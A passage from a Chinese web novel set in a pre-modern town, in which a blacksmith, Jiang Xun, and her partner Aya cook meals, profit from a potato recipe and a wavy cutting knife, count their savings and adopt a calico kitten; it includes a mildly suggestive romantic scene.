原本黄绿一片的番柿叶消失,只留下光秃秃的绿色茎干,看着地都空旷许多。 番柿叶鸡是不能吃的,江浔只能可惜地扫在一起,准备扔出去。 弄好之后两人终于得空休息,江浔洗干净手坐在矮桌旁,剥着荔枝。 阿雅比往日黏人些,要挨着江浔坐,还要枕在江浔怀中,专注得看着她,不愿意挪开眼。 如此模样,惹的江浔内心雀跃甚至想扭两下吼两嗓子,但表面上她还是那个成熟稳重的江浔。 熟练地剥着荔枝,喂到阿雅嘴中。 看着阿雅被甜到眯眼,就觉得自己心中也甜滋滋的,就觉得这才是过日子。 休息够,还有点时间,江浔来到打铁铺中继续开着店子。 她的生意还算可以,每日都有零零散散的人来买东西。不过最主要,她还是靠卖自己做的小工具赚钱,收入很可观。 阿雅在院中,也开始继续写着话本。 这次她写的是一位普通的女子辛苦洗衣、织衣贴补家用,自己过得不怎么好,不被重视。有天,女子在河边洗衣时捡到一枚被人撬开、还流着血的蚌壳。 她将河蚌带回了家,夜晚之时,河蚌变幻成人要吸食她的血来养伤。 女子被身边的人索取惯了,面对河蚌要吸血的要求,善良的女子答应了。 在日渐相处中,女子家人越来越过分,要得钱财越来越多,甚至生出要把女子卖了换钱的想法。 河蚌为报恩,拿出珍珠让女子拿去卖了换钱。 可有一就有二,女子的家人知道女子有钱,便使用各种办法让她交出很多的钱财。 极致的压抑催生出女子反抗的念头,女子和河蚌一起惩治了所谓的家人,最终逃到一处小镇,安身立命。 女子成了养蚌女,靠着卖珍珠生活越过越好,住进了汴京城。 这个故事偏灵异志怪,但本质是一个温馨救赎的小故事。 也没离开阿雅想表达的,每个女子都应该有反抗的勇气的内核,同时也隐晦的在提醒女子们,或许她们现下过的生活并不好、并不正常。 灵感来时,她写得飞快,笔走龙蛇,直至把一小段故事高丨潮写完,才猛地放下笔,开始揉按着自己的手指。 她写太久了,握笔也握地太紧,手指都僵硬了。 抬头看看天,天色昏暗,就差伸手不见五指了。 “糟了!饭还没做!” 阿雅眸子睁圆,懊恼自己怎么能写这么久,她站起身,快步来到灶台旁,烧水放米准备煮饭。 打铁铺内,江浔差不多准备关门时,徐浆娘来了,手臂上还挎着一个篮子,里面装着熟悉的小南瓜。 她把篮子递向江浔,口中道:“你给的荔枝可真是甜,还有那个水纹刀,也有意思得紧。” 刚拿到水纹刀时,徐浆娘还不知道怎么用,切坏好几个土豆,才找准要领,把土豆切成水纹模样的一条。 还真别说,这纹样只有在衣服上见过,哪里在吃食上见过啊! 要说那些造型好看点的食物,她也只在大酒楼里见过,那是真好看,指青山是青山、翠竹是翠竹。 没吃进嘴里前,谁都不知道会是什么食物。 徐浆娘也没吃过。 水纹土豆条切出来后,她就觉得,有如此一样又特别又接地气的食物出现。 大家一定会很喜欢。 “我来是想问问,你做这东西出来,原本是打算干什么的?”徐浆娘朝江浔靠了靠,声音压低,怕别人把这秘密听了去,“或者,这东西还可以做什么?” 徐浆娘脑子赚得快,猜到这东西应该还有其他用,不然江浔恐怕没闲工夫做这个。 江浔没瞒着,她本来也打算给徐浆娘说,只是现在才有机会。 “你听说过一种吃食吗?叫土豆花。” 徐浆娘摇头。 江浔笑了一下,心想你要是听过就怪了,“那是西域的一种吃食,把水纹刀切出来的土豆条炸过,放入盆中,拌入盐、葱姜蒜、胡椒、茱萸……这些增味儿的东西,做出来的口味别具一格,甚是好吃。” “徐姐姐,你可以做一下,保准赚钱” “只是,这水纹刀我不会只卖给你一人。” 送走沉浸在思考中的徐浆娘,江浔拿着嫩南瓜和南瓜花,走进院中。 冲阿雅高兴道:“阿雅!我们今日吃蘸酱菜!” 第69章 蘸酱菜 阿雅才把饭煮上, 并没有想好要吃什么,看见江浔拿着一篮子嫩南瓜走过来,想了想觉得也可以。 做蘸酱菜方便,只用把菜煮熟, 蘸鸡蛋酱裹上豆皮, 真是怎么样都好吃, 久了没吃还想得不行呢。 “好呀浔姐姐,那你把想吃的菜煮上,我去豆腐铺买点豆皮回来。” 阿雅冲她露出温柔的笑意,手指在耳边撩了一下,把垂下来的发丝撩到耳后,理理自己的头发, 准备去隔壁豆腐铺。 宋月柔开的豆腐铺把豆腐一家都卖完了, 从豆子豆皮到豆腐,小吃也好正经吃食也好, 应有尽有。 附近几条街的街坊, 都喜欢到她那里去买东西。 “好, 你快去快回。” 江浔点头答应,来到灶台边, 放上另一口锅, 加上水把嫩南瓜煮进锅里。 随后, 她又挑出几样叶子菜,有莴笋叶、茭白、莼菜、蕨菜,淘洗干净, 等着锅中水开就可以分类煮下去了。 先把要煮久一点才能熟的菜煮下去, 和嫩南瓜一起煮着。 在等它们熟的时候,江浔灵光一闪, 决定切点土豆一起煮。 土豆这种东西做什么都好吃,还管饱。 她走进打铁铺,去拿自己做好的水纹刀,打算把土豆切成土豆条来吃。 顺便再到门口去看一下阿雅东西买好没。 走到打铁铺门口,她没在豆腐铺看见阿雅,反倒是在对面街上看见了对方。 有个商贩挑着扁担在卖菜,框里菜已经不多了,只剩了生菜和紫苏,刚好可以配合着鸡蛋酱吃。 买菜要不了多久,江浔就站在铺子门口等着阿雅。 当买好菜的阿雅转身与江浔对视上时,两人心有灵犀地露出笑容,整个人都明亮活泼不少。 阿雅走了回来,江浔牵起她的手回到院中。 锅里的嫩南瓜和菜已经煮好,江浔用漏勺把东西捞起,放在一旁沥水。 再把剩下几样只需要烫一下就好的菜放下去。 阿雅在她身旁,把生菜和紫苏洗干净。 紫苏是两面都是绿色的白苏,而不是那种通体成紫色的紫苏,用来包蘸酱菜最合适不过。 想了想,她又拿了两根黄瓜出来,一起放在漏勺上。 “我们再加两个土豆怎么样?”江浔举着水纹刀,对阿雅晃了晃。 “浔姐姐想吃就做吧。” 反正做多做少浔姐姐都吃得完的,不碍事。 阿雅说完,拿上一个碗去酱肉罐里把酱肉舀出来,准备做鸡蛋酱。 江浔则拿着水纹刀“哒哒哒”的切着土豆。 昨日给那小姑娘做肉煎饼时做得多,肉煎饼还剩了几个,那几个肉煎饼就连带着江浔切的土豆条,全都放在快煮好的饭上加热着。 那口煮嫩南瓜和菜的锅被江浔洗干净,拿给阿雅炒鸡蛋酱。 鸡蛋酱好做,把鸡蛋炒散后加入酱肉炒至均匀,再加入大葱、蒜、香菜。 江浔喜欢吃辣,阿雅就额外多放了点茱萸,加足辣味儿。 等锅里白烟裹挟着香气翻滚而出时,鸡蛋酱就做好了。 两人把酱和菜放到矮桌上,江浔又额外洗上一串葡萄,这才准备开动! 江浔率先把豆皮放在自己手上,往里面放入紫苏叶打底,每样菜拿一点蘸上鸡蛋酱放在紫苏叶上,最后香菜封顶,把豆皮裹起来。 她裹的一个都比阿雅两个还大了,阿雅没慌着吃自己的,而是好奇地看着江浔,心中想着她真的能吃下去吗? 当看见江浔大张着嘴巴,根本不勉强地咬下一口,两腮鼓鼓,眼睛却享受地眯起的模样。 阿雅也跟着笑了出来,觉得浔姐姐好可爱啊,不管吃什么东西都能表现的很满足很快乐。 江浔嚼着嘴里满满一口蘸酱菜,鸡蛋酱又香又鲜的味道,加上各种菜的甜味与清爽,明明是很普通的一餐,甚至还都是素的,却让她觉得比那些大鱼大肉还受用。 吃完一整个,她又用筷子戳着嫩南瓜,咬上一口。 嫩南瓜水分很足,还很甜,像喝了一口满满的甜水。 第一口把嫩南瓜咬开,就可以往里面放入鸡蛋酱、紫苏叶、南瓜花和香菜了。 她喜欢紫苏叶的口感,干爽的、有独特香味的。 南瓜花也很不错,有点南瓜的味道,口感绒绒的。 两人准备的菜很* 多,每样吃完一遍,就有些半饱了。 这个时候饭上蒸着的土豆条才熟透,江浔把土豆条和肉煎饼都端上桌。 这土豆条她就只切了个花样,也没有做成土豆花,直接裹着豆皮往嘴里塞。 那绵密如冰淇淋般的口感,加上鸡蛋酱的鲜辣,把她鼻尖都吃出了汗,嘴唇红艳艳的,爽的不行! 第70章 赚钱啦赚钱啦! 江浔干的是体力活儿, 消耗大食量也大,把蘸酱菜吃了大半,又吃了好几个肉煎饼后。 她才算吃饱。 阿雅比她的食量小很多,吃饱后, 就撑着脑袋, 笑眯眯地看着江浔风卷残云。 吃过晚食, 两人坐在一起抬头看着天,数着天上的星子,吃着盘中甜滋滋的葡萄。 第二日早晨,两人早早赶着马车来到江家村,去看种的菜长得怎么样了。 有黑泥土加成,菜已经发了苗, 小巧又绿油油的模样, 让两人心情都不自觉变好。 那个痴傻男儿已经起来了,在地里晃悠, 检查有没有长杂草, 或者有没有人或动物毁坏菜苗。 看见江浔和阿雅出现, 他跑得乱七八糟的来到两人身边傻笑着。 江浔让他和自己一起,把肥料从马车上搬下。 种地的人都会沤点农家肥, 所以江浔带那么多那么大的布袋子来, 也没有引人怀疑。 搬完肥料, 江浔交代清楚要什么时候撒一次肥后,阿雅把带来的荔枝递上前,让痴傻男儿和另一位大娘分着吃。 现在痴傻男儿的吃食由大娘管着, 她们只需要出点银子, 也就是伙食费就行。 大娘心善,倒是把痴傻男儿管得很好。 离开自家土地后, 江浔和阿雅二人没有慌着回清水镇,而是来到江家的后山,打算在这里砍点竹子。 马车就停在山脚下,两人不进山,就在外面砍竹子还能看着点马车不被偷。 这竹子砍回去是要为院中的菜地搭棚子的,所以江浔尽量挑的都是笔直大根的,能保证做出来的棚子稳固坚硬,不会风一吹就倒,雨一下就塌。 砍竹子用的刀是江浔自己做的砍柴刀,刀锋锐利,不用花太多力气就能把竹子砍下来。 很是好用。 拖着竹子回到打铁铺,今日江浔不打算打铁,打算先把棚子的雏形做出来。 所以她让阿雅帮她在铺子中守着,自己在院子里做东西。 阿雅坐在打铁铺的桌子旁写话本,时不时抬头看一眼有没有人买铁具。 如果有人买,她就把自己在写的东西一挡,去卖铁具。 有些没灵感时,还可以扭头看向院子的方向,看江浔认真做东西。 那专注又用心的模样好似在发光,像温暖的阳,让她挪不开眼。 因着以前有做浴房的经验,这次江浔做棚子做得又快又好,做出来的架子雏形就放在菜地上,下雨时往上面搭上油布,四面防水。 临近傍晚,徐浆娘收摊后又来到打铁铺寻江浔。 “江妹妹,我来可是带了买方子的银子来的!” 徐浆娘昨夜回去想过了,江浔要卖水纹刀她是阻止不了的,只能和江浔商与先拿下拌土豆的方子,卖上一阵时日,再让江浔卖水纹刀。 “可以,那自是可以的!” 有钱赚,江浔脸上笑容都灿烂许多,开始站在灶台前教徐浆娘如何做土豆花。 阿雅感兴趣,也在旁边听着。 昨日江浔只给徐浆娘说了土豆花需要的材料,但想要真正做得好吃,还是得看她做一遍才行。 她想的就是先让徐浆娘把土豆花卖出名气,自己再卖水纹刀也会好卖些。 算是互惠互利。 接下来的一段时日,番柿土豆条的名气渐渐变小,徐浆娘又推出了拌土豆这种新吃食,又让她的摊子人气更上一层楼。 大家本以为这只是个普通的小摊,番柿土豆条好吃是好吃,却也不是太难做的食物,好多人家在家里尝试过几次后,都能复刻出来。 但拌土豆的出现,让大家逐渐发现这处小摊的不简单。 人老板还真就懂创新,简单的土豆能做出这么多花样。 渐渐的,徐浆娘的摊子成了世家子或文人骚客追捧的地方。 平日里他们好东西吃惯了,也想吃点接地气的。 周围城、镇里的许多小姐公子也被吸引,出门游玩之时,最喜在徐浆娘这里吃上一口。 徐浆娘的铺子也越来越广,又租了好几个摊位,请了好几个人。 赚得盆满钵满,和江浔阿雅二人分红之时,都分得尤为的多。 日子一天一天过,江浔在拌土豆没那么火的时候,大肆宣传自己铺子能做那种奇特又流畅的刀,让大家走过路过不要错过。 把刀卖出去的同时,算是为徐浆娘又续了一波人气。 九月初时,李屠妇带着自家赘夫,来给阿雅分红。 阿雅的话本卖得很好,每日能固定卖出几本,一月下来竟然能卖出百本还多,还要算上租借出去所赚得零零碎碎的钱。 到月初时也能拿到十多两银子。 阿雅再把自己新写好的《蚌女的报恩》给赘夫,并把自己想好的俗称单字一个雅也告诉了对方。 反正凭借一个字,也没有人能认识她。 夜晚,两人凑到一起,把几乎占满整个抽屉的银子全部倒在被子上,埋着头数着。 这里只是银子,铜板因为太多了,都放衣柜那边的大抽屉去了。 还险些放不下! 数完,被子上放满暗褐色铜板,足足有三百串! 那就是三十两啊! 两人脖子都埋疼了,手指都数抽筋了,才终于数清,又费力地把铜板放回衣柜中,开始数银子。 银子就好数许多。 两人先大概抓一把碎银,放在小秤上称,每十两放为一堆,居然也有八堆了。 那就是八十两。 一共一百一十两,减去之前存下的约二十两银子,两人上个月总共赚了九十两! 要是以后都能赚这么多,该多好啊! 两人把银子好好收起来后,激动地抱在一起,倒向床上,暖融融热乎乎地说着小话。 江浔:“明日我们就出去买东西去!天气转凉,买点厚衣服与厚被子,铜板那么多,我们多用用!” 有那么多钱,可不用省着了,把要用的东西一次性买完才是最爽的呢! 阿雅在江浔脖颈间蹭了好几下,蹭的头发都有些炸毛了,才毛茸茸地说道:“好,也给你买点新的头饰,浔姐姐戴红得最好看了。” 江浔没法在手上耳朵上戴东西,因为不利落,不过倒是可以在头上戴。 就戴点简单的发绳什么的,不会影响到她打铁,又好看。 第二日,两人都没有做活,好好休息一上午后,下午才坐在马车上慢悠悠上街去。 先去成衣铺,一人挑选了两件厚实的冬衣,再去卖被子的铺,定做一床十二斤重的棉花被子。 花了不少钱。 不过她们有钱,铜板越堆越多,放在家里不好放,还怕被偷。 花出去才安心。 又去了卖脂粉的铺子,选了护手防皴裂的脂膏,和雪肌膏。 雪肌膏还是有点用处的,至少用在阿雅身上是有用处的,让阿雅整个人越发透亮白净,都能与白瓷媲美了。 想当初江浔刚把阿雅带回家时,阿雅还是个瘦瘦小小,脏兮兮的小姑娘。 没想到被她养啊养,养成了如此俊俏的大美人。 这要是放在现代,指不定如何吸引人,如何风姿卓越呢。 后又去镇上的首饰铺子,为江浔挑选好几种头绳,有可以绑在额头前的抹额类,也有直接绑在头发上坠着流苏的精巧头绳。 阿雅拿着头绳在江浔脑袋上比划时,脸颊微红,有些害羞又有些期待地说道:“日后让我为你梳发吧?每一日可以吗?” 好像在说什么情话,把江浔脸都搞红了,憨憨地摸着自己的后脑勺。 点点头。 买完所有东西,又去买了点肉和菜,两人才赶着马车慢悠悠回家。 神奇的是,生活中总会充满惊喜,阿雅看着鸡窝中翻着肚皮睡得正香的狸奴,惊讶地喊了一声。 “浔姐姐!”魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 70-80 第71章 是小三花!!!(震声) 自从有鸡窝以来, 两只鸡除了吃饭,其余时间也不在院中晃悠了,干得最多的事就是蹲在鸡窝里,互相理理毛、蹭蹭脑袋。 看起来无比喜欢它们的新家。 但今日有些奇怪, 江浔和阿雅二人回到家中, 就看见两只鸡在院中走来走去, 还时不时扯着嗓子“咯咯咯”地叫着。 但两人都没有觉得奇怪,以为是两只鸡今日难得想出来走一走。 把买到的东西放好,阿雅走到菜地旁,拿着小铲子给菜松松土施施肥,又蹲下身,仔细查看菜叶上有没有长虫。 所幸现下天气一日比一日冷, 虫子无法抵御寒冷, 不太好活下去,也没有精力祸害菜叶了。 检查完菜叶, 阿雅起身之时晃眼间看见鸡窝里有东西在动。 那是什么? 看错了? 鸡窝里有些黑, 还铺满枯黄的稻草, 阿雅以为自己看错,歪头露出疑惑, 并没有打算去查看。 结果路过鸡窝时, 清晰的看见里面似乎有什么小兽, 伸着两条腿动了一下。 那东西颜色和鸡窝里铺的稻草很是相似,如果不动的话基本发现不了。 阿雅脸上疑惑更重,心中还有丝害怕, 怕是什么能伤人或是有毒的小兽, 她小心翼翼靠近,仔细一看, 居然是只睡呼呼大睡的狸奴! 眼中的害怕骤然消失变成惊喜,声线微扬着喊道:“浔姐姐!” “怎么了?” 江浔还站在灶台旁盘算着晚食吃什么,听到喊声,她快步走向阿雅。 “你看,我们家鸡窝长狸奴了!” 那是一只巴掌大小的幼猫,幼猫正翻着肚子四肢长条条地伸着,睡得安逸又舒适,一点防备都没有。 她肚子上的毛呈现纯白色,乱糟糟的,里面还插着几根稻草。但脸盘子上有黑色和黄色的毛相夹杂,眼尾黑色线条更是深入两鬓,像画了两根眼线似的。 一看就是一只漂亮乖巧的小三花。 它的毛色和稻草太像,又被稻草包裹着,要不是它在动,恐怕两人过几日都发现不了。 小三花似乎在做梦,伸向天空的粉色爪爪抽搐着,肉垫一会儿开花一会儿收缩。白色长胡须抖动,三瓣嘴咂吧咂吧动着,舌头还伸出来被咬在牙齿间。 仔细看去,它还没有米粒一半大的小门牙整整齐齐,把舌头都咬红了。 江浔和阿雅越看越喜欢,越看凑得越近,脑袋都快伸到鸡窝里去了! “它好小,还没有我巴掌大。哪里跑来的小猫?居然这么不怕人,让我摸摸,让我摸摸。” 江浔念叨着,伸出一只手指,小心翼翼地点在小三花的鼻梁上,朝后撸着。 毛茸茸的手感有点像猕猴桃,但比猕猴桃要柔软一些,还比猕猴桃要温暖得多。 不知这只小猫睡了多久,睡得暖呼呼,毛都睡软了。 小三花眉心中间的颜色是纯白色的,到了后脑勺才是黑黄相间的三花色。 江浔爱不释手,手指不断顺着小三花的毛,挠挠它的脑袋。 声音都变夹了,亲切地喊着,“咪咪、幺幺、乖乖”一类的词汇。 阿雅扫了一眼江浔,才伸手去戳小三花的爪爪。 小三花的爪爪很小,还没有她一根手指大,肉垫软软的像几颗小球。透明色爪尖舒服地伸出,却小到摸着都是软的,一点攻击力都没有的模样。 两个人类凑得太近,各种摸摸不断袭来,扰的小三花都睡不好觉,身子抖动一下后两只前爪抱住脑袋,朝肚皮的方向蜷身。 她这一动,背后更多毛发露出来,三花的颜色更加鲜明又亮眼。 萌得没边! 两个人类凑得更近,都快闻到小猫味儿了。 这可把睡醒过来的小猫吓了一跳,不明白自己为何一觉睡醒,就看见了两只庞然大物。 还凑的那么近,灼热的气息都打在了它的身上,极具压迫感。 被吓到的小三花眼睛瞪圆,一个翻身站起,“咻”一声原地起跳同这两个人类拉开距离,背部朝上弓起。 成了一颗炸开的黄白黑海胆。 好吧。 两个人类见小三花这么害怕,也怕被小三花误伤到脸,都退了开来。 小三花见自己钻进来的地方被让出来,观察几眼外面的庞然大物后,“咻”地冲了出去。 这小东西异常灵活,站在鸡窝的平台上,小爪子抠着鸡窝木板,跟爬猫爬架似的,毛绒绒地爬到鸡窝顶。 鸡窝旁边是江浔搭出来的棚子,此时没有搭上油布,就只有个空竹架子。 小三花想也没想,就跳来扒着竹子往上爬。 要不是江浔把竹子的青皮打磨了个干净,它恐怕还抓不住嘞。 爬到竹架子顶端,它沿着竹竿跑到墙沿上,又从墙沿跳到屋顶瓦片上,最后屁颠屁颠消失在屋顶。 一套逃跑动作行云流水,丝滑无比,直接把两个没见识的人类给震惊。 江浔还害怕小猫摔倒,都站在竹架子底下抬手想要接住它了,哪想人小猫厉害得很,根本不需要她帮忙。 看着小猫消失,两人对视一眼,眼中都是可惜。 那么乖的小猫,要是能留下来该多好。 阿雅问道:“这会不会是福福生的那一窝小狸奴?” 周围养猫的铺子倒是不少,但她们唯一知道生了一窝小猫的,就只有药铺那边的福福了。 算算日子,福福生的小猫倒确实有这么大了,正是机灵活泼,乱跑乱跳的年纪。 要真是药铺那边的小猫,那这只小猫的胆子有够大的,居然敢一只猫跑这么远,还敢在陌生的环境中睡觉。 说不定以后也是抓鼠小能手呢。 两人在惋惜小猫的离开,但两只鸡可高兴得没边。 “咯咯哒,咯咯哒”扑腾着翅膀,跳上鸡窝,美美钻入其中蹲了下来。 在江浔和阿雅出门去买东西后没一会儿,那只邪恶四脚兽就跑了过来,一点都不客气地钻入它们的窝。 刚开始还互相吓了一跳,但几息之后邪恶四角兽就明白它们俩根本没有攻击力,开始张牙舞爪地追着它们玩。 把它们追的翅膀不断扇,都快会飞了! 身上的毛也掉了几片,可怜兮兮地掉在地上,两脚兽根本就不关心它们,都没发现地上的毛! 也没发现它们幼小的心灵受到了惊吓! 直到那只邪恶四脚兽玩累了,趴在它们的窝里睡着了,两只鸡才得到喘息的时间。 活着等到两脚兽回来救驾!!! 想到两脚兽根本不关心它们,两只鸡就生气地“咯”一声,站起身调转方向,用屁股对准江浔和阿雅! 看到那么明显的耍脾气,江浔给了它们两只鸡一下,口中碎碎念着两只鸡被养得太好,都敢瞧不起她们了。 听到江浔面对狸奴时,声音是又软又好听的,面对自家养的鸡时,又是另一种语气。 阿雅被逗笑,捂着嘴偷笑着。 被江浔抱住,亲亲脸蛋,摇摇晃晃来到灶台边。 今日吃简单些,阿雅做了个蘑菇炒肉、冬瓜元子汤,再炒个素的土豆丝,就已经非常丰盛了。 江浔做菜不行,但切菜还是帮得上忙的。 把肉切成碎末,交给阿雅放调味料做成肉丸,她则在一旁,单手抱着半个十斤重的大冬瓜,手腕晃动,迅速削着皮。 皮不能削多了,有个三指宽就差不多了,然后沿着这个宽度,把冬瓜整个一圈切下来。 再切成片,就可以了。 而阿雅这边,一盆子碎肉,要往里加入葱花、盐、酱油、胡椒粉、鸡蛋、淀粉、猪油和清水。 加入了鸡蛋和猪油的碎肉异常绵密、黏哒哒的,已经是很不错很好吃的状态了,但阿雅还在不断地揉着碎肉,还时不时抓起来,砸在盆中。 没一会儿,碎肉逐渐看不出形状,快要互相融为一体。 这个时候把它们搓成肉元子,也就是肉丸,可想而知口感该是多么顺滑柔软,入口即化啊。 三道菜做好,冒着热气被端上桌。 冬瓜汤上漂浮着油腥子,入口却一点都不油腻极其鲜美,肉元子更是软弹入味,让江浔停不下嘴巴, 差点咬到舌头嘞! 蘑菇炒肉的蘑菇是腌制过的,所以不用放其他调料,直接下锅同肉一起随便炒制都很好吃,完全不用考虑太多。 江浔夹一大筷子蘑菇炒肉,拌在饭中,再加点冬瓜汤和土豆丝,一点不怕烫,唏哩呼噜就吃下肚了。 一顿饭吃得极为满足,饭后还有水果和茶点,同阿雅坐在一起悠哉悠哉享受着,连日来的辛苦也不算什么事了。 洗漱完,吹灯后躺在床上,阿雅趴在她身边,借着窗外冷白的月光,眼睛圆圆地看着她。 江浔本想闭上眼酝酿睡意,但见阿雅如此望着自己,难免心中有些好奇对方要干什么。 “怎么了?” 她的手摸上了阿雅的腰,脑袋也偏了过来,双眼困倦般微微眯起,一副慵懒又随性的模样同阿雅对视着。 阿雅不语,身子朝江浔靠近,令人遐想的曼妙的身姿贴在江浔身上,手指在江浔胸口上画着圈。 这招还是跟江浔学的呢,每每夜色朦胧之时,对方的手总会在自己的腰上慢慢画着圈。撩拨的她身子发软,细密如针扎般的刺激感从腰直冲到天灵盖。 此时,她也用同样的方式撩拨着江浔。 细柳般的手指随意游走到江浔的衣领口,撩开那松松垮垮的衣服,大片肌肤露出,指尖轻柔地从其中划过,又在肚脐上画着圈。 江浔小腹一下就绷紧,酸酸麻麻的,有些意外今夜阿雅为何会如此。 她两只手箍住阿雅的腰,手臂发力,就让阿雅趴坐在她身上。 两人贴得紧紧的,彼此的呼吸起伏都能感受到。 江浔有些受不了此时的阿雅,长发披肩,表情无辜又单纯,仿佛她所做的一切都不是真的。 “别戏弄我。”她把阿雅柔若无骨的身子抱得更紧些,怕怀中之人逃跑。 “浔姐姐。” 阿雅低头,发丝都垂了下来,占有着江浔每一寸裸丨露的肌肤,她在尖端之上落下一吻,脑袋就顺势趴在上面,声音软软的,撒娇道:“乖乖很乖对吧?看见它那么小,很喜欢?” 江浔有一瞬间的恍惚,差点反应不过来阿雅在问什么。 “我当然很喜欢乖乖。”想到自己今天对着小三花脱口而出的乖乖,就让阿雅记了这么久,江浔脸上的笑懒洋洋的,下巴削尖,侧脸棱角利落,在冷月下美得惊心动魄,“那谁是我喜欢的乖乖呢?” 不答反问,让阿雅磨了牙下,直接咬在自己脸颊贴着的尖端之上。 换来江浔倒吸一口冷气,“嘶——” 还要说江浔坏透了。 坏透了的江浔故意什么动作都不做,就只是抱住阿雅,不让阿雅走。 似乎在期待着阿雅接下来想做什么。 阿雅撑起身,眸子瞪了江浔一眼却没什么威慑力,反倒又软又乖地牵起了阿雅的手- 第二日,阿雅坐在矮桌旁构思下一本话本之时,亲眼看着那只小三花,稳稳当当踩着布满青苔的瓦片,从墙上跳到鸡窝上。 把蹲在里面美美睡午觉的两只鸡都撵了出来,撵的满院子又飞又跳。 果然,这个年纪就算是猫也是挺招其他动物讨厌的。 两只鸡被撵的上气不接下气,只能扑腾着翅膀飞到阿雅面前,站在桌上寻求帮助。 昨日还被人类吓得炸毛的小三花,今日就天不怕地不怕了,都敢冲到阿雅面前,四只爪子扒在阿雅的裙子上,想往上爬。 阿雅看着自己裙子上张牙舞爪的小狸奴,直接用手把小猫给托了起来,点着小猫的粉鼻尖,认真教训道:“不能乱爬,不能撵鸡,知道吗?” 小三花:? 小三花不服气:“喵——!!” 小猫太小,叫声也没有什么威慑力,反倒清清脆脆、悦耳无比,仿若天籁,把在打铁铺里打铁的江浔都给吸引过来了。 “我就说隐约听见有猫叫,没想到它真的过来了。” 江浔跑到阿雅面前蹲下,用脖子上搭着的白帕子擦擦脸上和手上的汗,才轻轻碰了喵喵叫的小猫一下。 “你还真是不怕,居然还敢来。”江浔声音都是软的,“你欺负阿雅姐姐了?那确实该被教训,你阿雅姐姐我可都不舍得骂呢,你别喵喵叫的骂她。” 阿雅:…… 好幼稚。 阿雅把小三花放到桌子上,让它继续去追两只鸡,自己则捧住江浔的脸,用指尖在江浔的鼻尖上点了一下。 “你可别乱说,这只狸奴乖着呢。” 江浔:“嗯,还是我家乖乖最乖。” 阿雅:…… 光天化日朗朗乾坤,阿雅红了脸。 第72章 裹盐换狸奴 连续几日, 那只小三花都往她们院子里跑,一来就开始撵鸡,撵累了就仰着肚皮在鸡窝里呼呼大睡,睡的满身是稻草。 医馆那边, 小三花才消失的头几日, 陈大夫都后会着急忙慌地找它。 后来发现小三花在打铁铺这边, 她就放下心来,每日都让小三花自己出门玩去。有时小三花的妈妈福福,还会带着一群小猫,跟着小三花一起到打铁铺来玩。 一群小猫“喵喵”叫着在鸡窝和竹架子上爬来爬去,她们的院子都快成猫窝了! 又过去小半月,江浔和阿雅一同去官府询问赎身之事办的如何, 那群官差却说近日忙碌, 还要她们再等。 两人离开之时,江浔听见那些官差凑在一起说着什么, 她顺手用了个顺风耳去听。 听见那群官差说有哪个大人物不见了, 他们已经费时费力费人地翻了好几座山头, 都没有找见人,要是还找不到的话可能要掉脑袋! 说到掉脑袋的那个官差, 尾音还发着颤, 怕极了。 看来短时间之内没办法把赎身之事办好了, 也不知是谁不见了,需要那么多人马去找寻。 不过这也不关她们的事,她们这些小老百姓只要过好自己的日子, 就足矣。 江浔安慰了阿雅几句, 告诉阿雅这件事情一定会办好的,大不了十天半月之后她再来催促询问一番。 在回院中的路上, 路过医馆,看见有两人分别抱着一只猫走出。 面上表情笑呵呵的,仿佛遇见了什么喜事。 正巧陈大夫从医馆中走出,把这两人送走后,同江浔阿雅对视上,她冲两人招招手让她们过来。 陈大夫:“我见那只小三花很喜欢你们,你们要抱去养吗?” 小猫们的年纪都差不多了,再不找人养它们的话,福福也会撵它们走的。 “那只小三花机灵好动,定是个抓鼠能手,好多人都看上了想要把它抱回家嘞。” “你们要是不养的话,我就再给他找个好人家,只是可惜它那么喜欢你们了。” 这番话说的,让江浔阿雅二人心中酸酸麻麻的,都能想象到小三花去别人家后,就不喜欢她们、也不会到她们的院子中来玩耍的画面了。 两人对视一眼,同时说出:“我们养!” 她们家鸡都被追习惯了,要是骤然间少了个玩伴,估计还不适应嘞。 陈大夫说是不要钱让她们抱回去,但江浔和阿雅二人还是回到自己的院子中,装了小半布袋的精盐,去换猫。 他们这儿对猫比较看重,富贵人家想养猫的话还需要写纳猫契,以及给猫准备“聘礼”呢。 不过普通人家就随意很多,只用准备一点“意思意思”的礼物去换猫猫就行。 带着盐回到医馆,陈大夫已经把那只小三花装进编织好的竹笼里,“一手交盐一手交货”,江浔和阿雅二人提着小三花回到打铁铺。 陈大夫嘱咐过要把小三花关一段时间,让小三花知道它已经是她们家得了。 但小三花被关了一会儿后,就觉得有些无聊,用爪爪扒拉着竹笼,扯着嗓子叫着。 那声音清脆是清脆,就是有点像青蛙,“呱呱呱”的。 它想出去,还用脑袋去撞竹笼,把竹笼撞倒在地上,它自己也翻了个跟头,趴在笼子里。 怎么看怎么可怜。 江浔和阿雅二人没忍住,把它给放出来了。 刚一出来的小猫,其实还是想回到自己妈妈身边的。 无法,阿雅只能拿起一根吊着鸡毛的杆子,也就是“逗猫棒”去逗它,让它暂时忘记自己想要干什么。 那“逗猫棒”还是江浔做的呢。 取竹子上能随意弯折的有韧性的枝条,再在这枝条上绑一根细绳,细绳的另一端绑上前段时日,两只鸡掉下来的鸡毛。 就做成了。 在这处地方,也是有“逗猫棒”存在的。 富贵点的人家会用孔雀翎或在一根杆子上缝上五颜六色的布料去逗猫。 而普通人家想逗猫的话,就会收集各种羽毛,同猫猫玩耍。 猫是最喜欢鸟类的羽毛的,见到之后双眼都挪不开,匍匐在地上,下巴颤动发出捕猎的声音。 阿雅手中这根“逗猫棒”,因为竹枝条的柔韧以及字线的软绵,所以要更为灵活一些,可以逗着小三花来回跑跳。 毫不费力。 小三花成功被吸引注意力,趴在地上,双眼成竖线,灵活地盯着那逗猫棒上的羽毛,随时准备进攻! 它精力旺盛,至少玩了有半刻钟左右,才直接躺在地上,抱住羽毛轻微喘着气。 休息了没一会儿,就睡着了。 阿雅见状,轻手轻脚靠近,把那传说中警惕性极高的小兽抱起,放进鸡窝中。 小鸡壹号和小鸡贰号:……? 第73章 收获 临近傍晚之时, 江浔关了铺子门,蹲在院子中,冲那只还不知道今夜自己要留下来的小三花摊开手掌,露出手心里的东西。 “你的礼物。” 那是一颗做得精细的铁质铃铛, 晃动一下, 里面的小圆球就弹跳着发出声响, 一下就吸引住小三花的视线。 原本睡醒,想要离开的它,又被留了下来。 铃铛被串在逗猫棒上,只要逗猫棒一动,不仅鸡毛会吸引它,连铃铛也会吸引它。 吃晚食时, 阿雅专门把还未放调料的肉从锅中夹起来, 